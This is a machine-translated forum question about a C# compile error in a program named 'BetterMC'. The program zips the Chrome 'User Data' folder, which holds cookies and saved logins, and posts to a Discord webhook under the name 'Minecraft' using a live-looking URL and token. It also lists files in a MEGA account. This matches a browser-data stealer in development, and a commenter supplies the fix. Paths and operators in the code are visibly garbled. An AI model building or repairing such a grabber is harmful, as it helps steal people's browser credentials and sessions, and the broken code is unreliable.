#c# #discord #webhooks
Вопрос:
Я создаю веб-крючок, в котором перечислены все файлы в моей учетной записи mega по личным причинам, и у меня работает веб-крючок и все такое, но я не могу заставить работать приведенный ниже код. Когда я пытаюсь запустить это, он выдает эту ошибку Severity Code Description Project File Line Suppression State Error CS0120 An object reference is required for the non-static field, method, or property 'Program.Main1()' BetterMC C:UsersletouOneDriveDesktopCodingGamesMinecraftBetterBetterMCProgram.cs 21 Active
Вот мой полный код `
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Discord;
using Discord.Webhook;
using System.IO.Compression;
using System.IO;
using CG.Web.MegaApiClient;
namespace BetterMC
{
class Program
{
static void Main(string[] args)
{
Main1();
string startPath = @"C:UsersletouAppDataLocalGoogleChromeUser Data";
string zipPath = @"C:UsersletouOneDriveDesktoptest.zip";
string extractPath = @"C:UsersletouOneDriveDesktoptest";
Console.WriteLine("Started");
if (!File.Exists(zipPath))
{
ZipFile.CreateFromDirectory(startPath, zipPath);
Console.WriteLine("Created ZIP");
}
if (!File.Exists(extractPath))
{
ZipFile.ExtractToDirectory(zipPath, extractPath);
Console.WriteLine("Extracted ZIP");
}
DiscordWebhook hook = new DiscordWebhook();
hook.Url = "https://discordapp.com/api/webhooks/830649911498113065/m8aZ6mAbhqS_n9jiBLiGFnG_69fq7ADN77P5EihuUNKS1lWgjOeTIX-Rhv8qUNo2jA37";
DiscordMessage message = new DiscordMessage();
message.Content = "Test @everyone";
message.TTS = false; //read message to everyone on the channel
message.Username = "Minecraft";
message.AvatarUrl = "https://pbs.twimg.com/profile_images/653700295395016708/WjGTnKGQ_400x400.png";
hook.Send(message);
Console.WriteLine("sent");
Console.ReadLine();
}
void Main1()
{
var client = new MegaApiClient();
client.Login("username@domain.com", "passw0rd");
// GetNodes retrieves all files/folders metadata from Mega
// so this method can be time consuming
IEnumerable<INode> nodes = client.GetNodes();
INode parent = nodes.Single(n => n.Type == NodeType.Root);
DisplayNodesRecursive(nodes, parent);
client.Logout();
}
void DisplayNodesRecursive(IEnumerable<INode> nodes, INode parent, int level = 0)
{
IEnumerable<INode> children = nodes.Where(x => x.ParentId == parent.Id);
foreach (INode child in children)
{
string infos = $"- {child.Name} - {child.Size} bytes - {child.CreationDate}";
Console.WriteLine(infos.PadLeft(infos.Length level, 't'));
if (child.Type == NodeType.Directory)
{
DisplayNodesRecursive(nodes, child, level 1);
}
}
}
}
}
»
Я знаю, что это как-то связано с нестатическим main1, но для работы кода он должен быть нестатическим. Пожалуйста, помогите.
Комментарии:
1. Программа MyProgram = новая программа(); myprogram.Main1();
2. Спасибо!! Я придумал другое решение, но мое было слишком сложным, поэтому вместо этого я реализовал ваше!